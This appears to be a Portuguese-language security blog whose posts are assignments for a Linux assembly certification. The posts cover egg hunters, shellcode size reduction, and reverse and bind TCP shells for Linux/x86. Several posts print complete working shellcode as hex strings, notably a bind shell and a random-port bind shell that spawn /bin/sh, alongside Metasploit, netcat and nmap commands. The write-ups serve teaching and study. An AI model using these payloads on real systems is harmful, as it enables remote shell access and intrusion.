Tradutor

quarta-feira, 27 de março de 2013

SLAE - 3rd Assignment - Caçando Ovos?

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:


Terceira Missão (Caça aos bits)

Olá! Continuemos com a terceira missão do SLAE.

Nesta empreitada, vamos caçar ovos... não, cooler, não vai ser um elefante engolido por uma jiboia, muito menos achocolatados. :D []'s

3rd assignment:
- estudar sobre shellcodes egg hunter
- criar uma demonstração funcional de um
- essa demonstração deve ser configurável para diferentes payloads

O resultado da pesquisa sobre egg hunting foi escasso. Encontrei apenas um shellcode do tipo para Linux. Fiz alguns testes mas logo vi que ele não era funcional, pois tentava ler toda a VAS do usuário (0x0 a 0xffffffff) resultando em SIGSEGV quando batia na porta de uma área protegida. A ideia principal que era percorrer a memória num looping eu já tinha abstraído, entretanto, como fazer isso de forma segura?

Perseverei no google e mudei a pesquisa de linux egg hunter para "windows" egg hunter. Bingo! Encontrei um paper fantástico escrito por skape em 2004, Safely Searching Process Virtual Address Space. Esse artigo, felizmente, além de abordar o windows, descreve duas formas no linux de se verificar se o usuário (aplicativo) tem permissões de leitura a dado offset. A primeira, a qual optei, é através da syscall access e a segunda é através da sigaction. Não sei por que tive que colocar "windows" na pesquisa; o que importa é que encontrei o que precisava.

Ok! Mas você não disse para que serve mesmo um egg hunter!

Perdão, vamos lá! Em alguns casos de exploração encontramos pequenas janelas de buffer disponíveis para injeção de código, nas quais um shellcode de tamanho maior seria inútil. Nessa mesma janela poderíamos injetar um Egg Hunter, obviamente menor que o shellcode principal, para vasculharmos a memória em busca do nosso shellcode (egg). Em suma, o Egg Hunter é um tipo de stager shellcode.

Mas como nosso shellcode principal (egg) estaria na memória?

Isso vai depender da aplicação explorada, das formas de entrada de dados etc. Como exemplos poderíamos ter um browser que carregaria o egg de um html, um mp3 player que carregaria o egg de um mp3 ou m3u, um programa genérico que leria todo o conteúdo de um arquivo de configuração com o egg implantado.

Compreendendo as explicações do skape a respeito do seu Egg Hunter (access), complementei-o com controle de lixo dos registers e limpando o DF (Direction Flag) para se garantir o incremento de EDI no uso da SCASD.

O resultado foi este.


Fluxograma gerado no r2 (radare).


Para facilitar a exemplificação, o Egg já se encontra no próprio Egg Hunter Launcher.


A configuração da assinatura do Egg é feita mudando-se os seus oito primeiros bytes; já no Egg Hunter, do 25° ao 28° byte. Optei por usar opcodes que não interferem no fluxo (nops, pushs), mesmo eles sendo ignorados no último JMP.

É importante ressaltar que os quatro últimos bytes, no caso do Egg, são uma mera repetição dos quatro primeiros; tal medida visa a fortificar a identificação evitando-se falso-positivos e faz parte do algoritmo de identificação do Egg Hunter, assim, se desejarem modificar os quatro primeiros bytes, repliquem a mesma mudança nos últimos.


Testando

# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
# ./egg_hunter_shellcode
Egg Mark



Missão Cumprida

Bom pessoal, é isso. Boa caça aos ovos!


Mais Informações

segunda-feira, 25 de março de 2013

O menor do mundo? Yeah? So Beat the Bits!

/*
Off-Topic: Está disponível no Shell-Storm versão do Shell Bind TCP usando o método GetPC (GetEIP). Os demais shellcodes apresentados neste post também já foram disponibilizados no mesmo repositório. Tks again, Salwan.
*/

Enquanto que em muita área por aí o que importa é ter ou fazer algo grande, quando falamos em shellcodes sempre os queremos minúsculos, correto? E mesmo que isso não seja tão importante para as  mais recentes técnicas de exploração, você não gostaria que o seu fosse menor? =D

Bom, como sou teimoso, aproveitei o tempo de viagem de onde estou trabalhando até minha casa (10h de ônibus) para brincar um pouco com as versões anteriores que disponibilizei e consequentemente aprender mais. Meu notebook, graças ao Jupiter, aguentou 7h de pdfs, chrome (em offline), editores, compilação e muito debugging.

O que fazer para se diminuir o tamanho de um shellcode?

Com a questão em mente, condensei nas regras abaixo o que aprendi.


Regra n. 01 - Certificar-se da "pureza" dos registers antes de serem preenchidos com valores menores que o da arquitetura

Num ambiente de desenvolvimento e exploração, ao se testar um shellcode projetado, os registers se apresentam sem lixo, o que pode mascarar o seu real funcionamento.

Temos que ter em mente que um shellcode é um pedaço de código injetado em um programa já em execução com suas STACK e registers já em utilização. Se começarmos a simplesmente utilizar esses registers ou a STACK sem as devidas providências o shellcode não vai servir ao seu propósito.

Na arquitetura 32 bits, se eu movimentar (não gosto de usar o termo movimentar; mesmo a instrução se chamando MOV o que ela faz, em verdade, é copiar) um valor para um register [mov eax, 10], a instrução preenche totalmente o EAX com o valor imediato.

Se antes da cópia EAX tiver 0xffffffff, após ele ficará com 0x0000000a:

b8 0a 00 00 00       mov    eax,0xa

Até então sem problemas, certo? Não, para um shellcode! O opcode B8 que movimenta o valor imediato 0xa (10) preenche todos os 32 bits de EAX, e você deve se recordar que não podemos ter null bytes para que o payload seja funcional.

Contornando a situação com [mov al, 10]:

b0 0a                 mov    al,0xa

Like a charm? Copiamos agora apenas o byte necessário 0xa para o register AL de 8 bits.


Contudo, se EAX já estiver, hipoteticamente, com 0xffffffff, ao copiarmos apenas para AL, o valor final será 0xffffff0a (-246). Qualquer syscall ao usar EAX retornará erro.


Dando a volta por cima

Eu estava usando um truque com a instrução CDQ - convert double to quad - para zerar EDX, após preparar EAX com algum valor inicial, ex: PUSH 10 (6A, 0A), POP EAX (58). A CDQ é de apenas um opcode (99), por isso me encantou. Em suma, com ela eu podia despoluir EDX e já deixar EAX preparada com apenas 3 bytes.

Sendo que o zero é essencial para o preenchimento dos argumentos das syscalls mas não pode estar presente no shellcode, essa técnica permite termos o zero em EDX para utilização posterior.

E eu não poderia fazer isso usando XOR? Sim, mas a custo de mais um byte. 

31 d2                 xor    edx,edx
...
99                   cdq

E para limpar os demais registers necessários no início do shellcode sempre serão utilizados dois opcodes, seja com a técnica do XOR,  com a do PUSH reg, POP reg ou com a do MOV reg, reg.

31 d2                 xor    edx,edx
...
52                   push   edx (que já será zero após o cdq)
5b                   pop    ebx
...
89 dd                 mov    ebp,ebx

De tanto garimpar, descobri um truque com o uso da instrução MUL - unsigned multiply - que permite despoluir três registers de uma só vez (EAX, EBX [poderia ser outro: ECX, ESI, ...] e EDX).

31 db                 xor    ebx,ebx
f7 e3                 mul    ebx

Ele gera um byte a mais, entretanto um a menos se usarmos um XOR, para zerar EBX logo após o uso do CDQ.

Temos também o mágico XCHG que permuta os valores de dois registers a custo de apenas um byte se um dos envolvidos na troca for o EAX; qualquer outro tipo de permuta terá dois opcodes.

95                   xchg   ebp,eax
96                   xchg   esi,eax
87 d9                 xchg   ecx,ebx

De toda sorte, essas formas (CDQ, MUL, MOV, XOR e XCHG) são boas e devem, se possível, ser utilizadas em conjunto. O sucesso na redução do tamanho irá depender de quais registers serão necessários às syscalls do shellcode e de que valores já estarão contidos neles, dando vantagem a uma forma em detrimento às demais.


Regra n. 02 - Reutilizar dados já inseridos na STACK

Eu estava simplesmente fazendo PUSH de todos os argumentos necessários a cada syscall, desprezando o que eu já havia inserido na STACK. Obviamente os primeiros valores a serem utilizados precisam ser inseridos por nós mesmos, pois não sabemos o que há na pilha (o contrário pode ser dito se se tratar de uma aplicação em específico, cujo exploit fora desenvolvido por nós mesmos).

Socket

52                   push   edx
53                   push   ebx
6a 02                 push   0x2
89 e1                 mov    ecx,esp

Bind

b3 02                 mov    bl,0x2
52                   push   edx
66 68 2b 67           pushw  0x672b
66 6a 02             pushw  0x2
89 e1                 mov    ecx,esp

No exemplo acima, sem reutilizar os dados da STACK, ao criar a estrutura sockaddr_in para fazer o Bind, são gerados 12 bytes. Todavia, vejam a diferença fazendo uso dos dados já existentes.

5b                   pop    ebx
5e                   pop    esi
52                   push   edx
66 68 2b 67           pushw  0x672b

Fantasticamente geramos apenas 7 bytes (cinco a menos). É importante ressaltar que a instrução POP apenas copia o valor da pilha para algum destino, modificando o ponteiro (ESP) do topo da pilha e deixando o valor intacto na memória, contrariamente à PUSH que o substitui. Atente para o fato de que ECX já contém o ponteiro para os dados que estamos utilizando, portanto, não o alteramos.

Se algum dado distante na STACK precisar ser modificado para reutilização correta dos demais, tiramos proveito fazendo a modificação com a MOV e um ponteiro, gerando apenas 3 bytes.

89 51 04             mov    DWORD PTR [ecx+0x4],edx

Mais uma vez, devemos ponderar qual método é mais eficaz em cada caso.


Regra n. 03 - Usar instruções com menor número de opcodes

Mesmo esta regra sendo óbvia e estar implícita nas anteriores, faço questão de exemplificar com algumas instruções, para que haja melhor entendimento.

43                   inc    ebx

b3 02                 mov    bl,0x2

No caso acima, se EBX já contivesse 1, mais inteligente seria apenas a incrementarmos com INC, em vez de a atribuirmos 2 com MOV. Abaixo, segue exemplo de redução usando a LEA - load effective address - para uso aritmético com vários operandos em vez da ADD (tks Pedro Fausto).

01 d8                 add    eax,ebx
83 c0 02             add    eax,0x2

8d 44 18 02           lea    eax,[eax+ebx*1+0x2]



Regra n. 04 - GetPC (GetEIP) - Adendo

Esqueci-me de mencionar, na postagem original, a técnica GetPC que utilizei como demonstração no shellcode Shell Bind TCP - GetPC (github: assemblyfluxograma).

Se o shellcode tiver um tamanho considerável e houver uma certa quantidade de instruções que se repetem, esse método é válido para se diminuir o payload usando as CALL e RET.

Analisem os códigos! Vale à pena.


Os menores do mundo? Não sei, diga-me!

O resultado de tanto mexido foi o engendramento dos três, aparentemente, menores shellcodes do mundo nas suas respectivas especificidades.

Shellcode Improvements (github com os concernentes fluxogramas e shellcode launchers)



Eu desafio vocês!

Pensando nisso estou lançando um concurso para redução dos shellcodes apresentados. Para concorrer basta criar um shellcode dos tipos acima com menor tamanho em bytes e enviar para geyslan@gmail.com. Para redução podem ser utilizados, se preferirem, os que disponibilizei.


Premiação

Aprendizado! E menos bytes! ;D

Vemo-nos em breve!


Mais Informações

Shell-Storm
Intel 64 and IA-32 Manuals

quarta-feira, 20 de março de 2013

SLAE - 2nd Assignment - Shell Reverse TCP

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/2nd.assignment

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>


Segundo Exame

Vivek, para este assignment, designou o seguinte:

Criar um shellcode de Shell Reverse TCP

- Executar um shell ao conectar no host reverso
- Tornar fácil a configuração dos IP e porta

Como material, analisar o linux/x86/shell_reverse_tcp do Metasploit usando o libemu.


libemu - sctest - strace - man

Comecei gerando o fluxograma do shellcode do Metasploit.

# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 R | /opt/libemu/bin/sctest -Ss 100000 -vvv -G shell_reverse_tcp_metasploit.dot

# dot shell_reverse_tcp_metasploit.dot -T png -o shell_reverse_tcp_metasploit.png


Vê-se que, diferentemente dos shell_bind_tcp nos quais trabalhamos nos posts anteriores, o shell_reverse_tcp, logo após a criação do socket (socket), faz a duplicação (dup2) dos files descriptors e já efetua a conexão (connect) nos endereço e porta definidos para finalmente executar (execve) o "/bin/sh".

Usei também o strace para analisar o netcat, como complemento ao libemu. O que me me poupou tempo, pois não precisei reconstruir o binário para entender melhor a syscall connect; e nem é necessário comentar que o uso do man deixou o meu .bash_history um pouquinho mais gordo. =D

# nc -l 127.0.0.1 55555

Em outro terminal.

# strace -e socket,connect nc 127.0.0.1 55555
...
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(55555), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)

Com as novas informações anotadas e revisadas, construí de primeira o shellcode enxuto em assembly nasm.



Por conta da possibilidade trivial de se configurar a porta e o IP, o shellcode só estará livre de null-bytes caso esses valores não tenham numeração em hexa x00. Entretanto, se o null-byte realmente impossibilitar a utilização do shellcode, temos outras maneiras de darmos bypass. Em próximos posts veremos isso.

O shellcode final teve um aumento de 4 bytes, ficando com  72 (metasploit = 68). Esse acréscimo se deu pela propriedade da configuração do IP e da Porta nos seus primeiros bytes. Mesmo com as instruções diferentes, o resultado foi igual. Vejam.



TESTANDO

# gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode

Terminal host
# nc -l 127.1.1.1 55555

Terminal cliente
# ./shellcode

Terminal host novamente
# netstat -anp | grep shell
tcp        0      0 127.0.0.1:51600   127.1.1.1:55555   ESTABLISHED   976/shellcode


Reversing (Gotcha)

Mais um shellcode construído: Shell Reverse TCP (Linux/x86) com IP e porta facilmente configuráveis (segundo ao quinto e nono ao décimo byte, respectivamente).

P.S.

Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Com todo prazer, farei as alterações colocando os devidos créditos.


[]


Mais Informações

segunda-feira, 18 de março de 2013

Hacking do Dia - Shell Bind TCP Random Port

/*
   Para melhor entendimento, leiam o post anterior SLAE - 1st Assignment - Shell Bind TCP
*/

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>

<UPDATE 2>
   Foram incluídas no Metasploit as versões x86 e x86_64 deste payload.
   Tks Ewerson Guimarães (Crash), Tod Beardsley and all involved in Metasploit project.
   x86 payload
   x86_64 payload
</UPDATE 2>

Olá pessoal!

Comentários são sempre fantásticos. Sabem por quê? 

Porque através da troca de conhecimento ideias surgem. E, havendo vontade, essas ideias podem se transformar em algo útil.

Esta tarde, Tiago Natel (SecPlus) me respondeu, com veemência e propriedade, sobre o post SLAE - 1st Assignment na lista do Brasil Underground. A informação que ele passou sobre shellcodes e o uso do SO_REUSEADDR foram engrandecedoras para mim e os demais da lista.

Por e-mail, marcamos de debatermos o assunto, o que aconteceu no finalzinho da tarde.

Fizemos, em conjunto, uns debbugs e traces dos shellcodes do metasploit e do que disponibilizei via github. Constatamos que realmente o do metasploit gera SIGSEGV quando a porta ainda está em TIME_WAIT, uma vez que ao tentar fazer o bind, e não conseguir, o registrador $eax recebe número negativo (erro) e fica poluído. Mesmo as novas cópias para esse registrador não resolvem, já que, para se evitar null-bytes, os shellcodes têm mov's usando o registrador $al, que copiam apenas 1 byte, deixando o resto de $eax como está. Bom, dá para imaginar que o shellcode não vai funcionar muito bem. :D

Identificamos, porém, que quando o meu shell_bind_tcp, sem opção SO_REUSEADDR, era instanciado pela segunda vez, ou seja, com a porta da instância anterior ainda em TIME_WAIT, o socket, ao ser criado, usava uma porta aleatória. De início, achamos isso meio louco! Chegamos a pensar que a listen cuidava disso. Eu pensei que era alguma coisa da libc, mas reproduzi o mesmo efeito com o código asm (apenas com syscalls).

Nesse ínterim, Tiago, por ter bastante experiência, fez uma pesquisa rápida no google e  encontrou informações a respeito do uso do bind no manual POSIX da Fujitsu Siemens Computer (SOCKETS/XTI(POSIX)).

Vejam o achado dele (pg. 23):

"2.6.6 Automatic address assignment by the system

You can still call a function for a socket which actually requires a bound socket (e.g. connect(), sendto(), etc.), even if the socket has no address assigned to it. In this case, the system executes an implicit bind() call with wildcards for the Internet address and port number, i.e. the socket is bound with INADDR_ANY to all IPv4 addresses and with IN6ADDR_ANY to all IPv6 addresses and IPv4 addresses of the host and receives a free port number from the range of non-privileged port numbers."

O que isso quer dizer?

Se não tivermos feito bind no socket, ou se o bind não acontecer por não haver endereço e/ou porta disponíveis, como identificamos no meu shell_bind_tcp sem SO_REUSEADDR, ao se utilizar syscalls como connect, sendto, no nosso caso a listen, o sistema se encarrega de fazer um bind genérico com o atributo INADDR_ANY e de disponibilizar uma porta dentre os números não privilegiados.

De certa forma estávamos corretos, pois pensávamos que era a listen que estava a fazer o bind automático; em verdade, foi através dela que o sistema se encarregou de amarrar o socket a um endereço disponível.

Sim, e daí?

Os shellcodes não imploram para serem pequenos e se adequarem aos buffers explorados?

Quase que instantaneamente tivemos a ideia de retirar o setsockopt (usado no meu shellcode) e o próprio bind (usado em todos).

Vocês não imaginam o tamanho do novo shell_bind_tcp_random_port...

Míseros 65 bytes

# echo -e "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xca" | /opt/libemu/bin/sctest -vvv -Ss 100000 -G shell_bind_tcp_random_port.dot


Ah, mas isso não serve! Do que adianta se eu não posso setar a porta?

nmap nele!

# nmap -sS host -p-

Só tenho algo mais a dizer: COMPARTILHEM!!

P.S.

Valeu, Tiago!


Mais Informações

sábado, 16 de março de 2013

SLAE - 1st Assignment - Shell Bind TCP

Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software. Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st assignment do curso SecurityTube Linux Assembly Expert, necessário para obtenção da certificação SLAE.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237


<UPDATE>
   O shellcode final foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>



Assembly (Mighty and Tiny)

Decidi fazer algo que já deveria ter feito há muito tempo: aprender “a linguagem” assembly. E é que o curso do Vivek Ramachandran surgiu em boa hora. Com uma didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.

Nas instruções do exame, Vivek especifica que esta primeira missão é:
Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
 
Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é muito bom, pois força o aprendizado.


Desovando um Shell via TCP

Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o payload do Metasploit:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000

O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C:
 



int dup2(int oldfd=19, int newfd=0);

[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013

[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx




int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;


Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
 

É gerado um arquivo dot que pode ser facilmente convertido em png:

# dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
 


Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções. Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo programa em C.


 

Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:

# objdump -d -M intel shell_bind_tcp_c



080485bc <main>:
80485bc: 55                     push ebp
80485bd: 89 e5                  mov ebp,esp
80485bf: 83 e4 f0               and esp,0xfffffff0
80485c2: 83 ec 50               sub esp,0x50
80485c5: 65 a1 14 00 00 00      mov eax,gs:0x14
80485cb: 89 44 24 4c            mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0                  xor eax,eax
80485d1: c7 44 24 30 67 2b 00   mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00   mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00   mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00   mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff         call 80484c0 <socket@plt>
 




O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.


Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:


 

Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.

Os códigosfuncionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.


Evitando-se SIGSEGV (Yep, Metasploit has it)

Os mais atentos já devem ter percebido que há, tanto no código C, quanto no assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A setsockopt. 

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

mov eax, 102            ; syscall 102 – socketcall
mov ebx, 14             ; socketcall type (sys_setsockopt 14)


Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).

O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.

Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.



Enxugando o Shellcode (smallest as possible)

Extraindo os opcodes do meu shell_bind_tcp (asm):

# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00

 
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"


# echo -n "\xb8\x66...\xcd\x80" | wc -m
720


720 / 4 = 180 bytes

Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.




E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode, o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in (argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode, valeu a pena.

A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR +15 bytes.

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
 

Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para modificá-la no shellcode, o respectivo número deve ser convertido em hexadecimal. Exemplo:

# printf "%x\n" 40001

9c41

# printf "%d\n" 0x9c41
40001 

40001 -> 9c41 -> /x9c/x41

TESTANDO

 

# .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode

Em outro terminal (cliente):
 
# nc 127.0.0.1 11111
pwd
/home/uzumaki 
netstat -lp | grep /sh      
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp     0   0 *:11111              *:*                 LISTEN   5946/sh

 

Um Novo Shell (the chosen one)

Nessa missão, foi construído um shellcode Shell Bind TCP (Linux/x86) com porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar! 

P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Assim, farei as devidas alterações colocando os créditos.

[]




Mais Informações 

SLAE - SecurityTube Linux Assembly Expert
SecurityTube
libemu
Metasploit 
Metasploit Unleashed - Offensive Security
Berkeley Sockets 
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One 
Get all shellcode on binary  - commandlinefu
Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.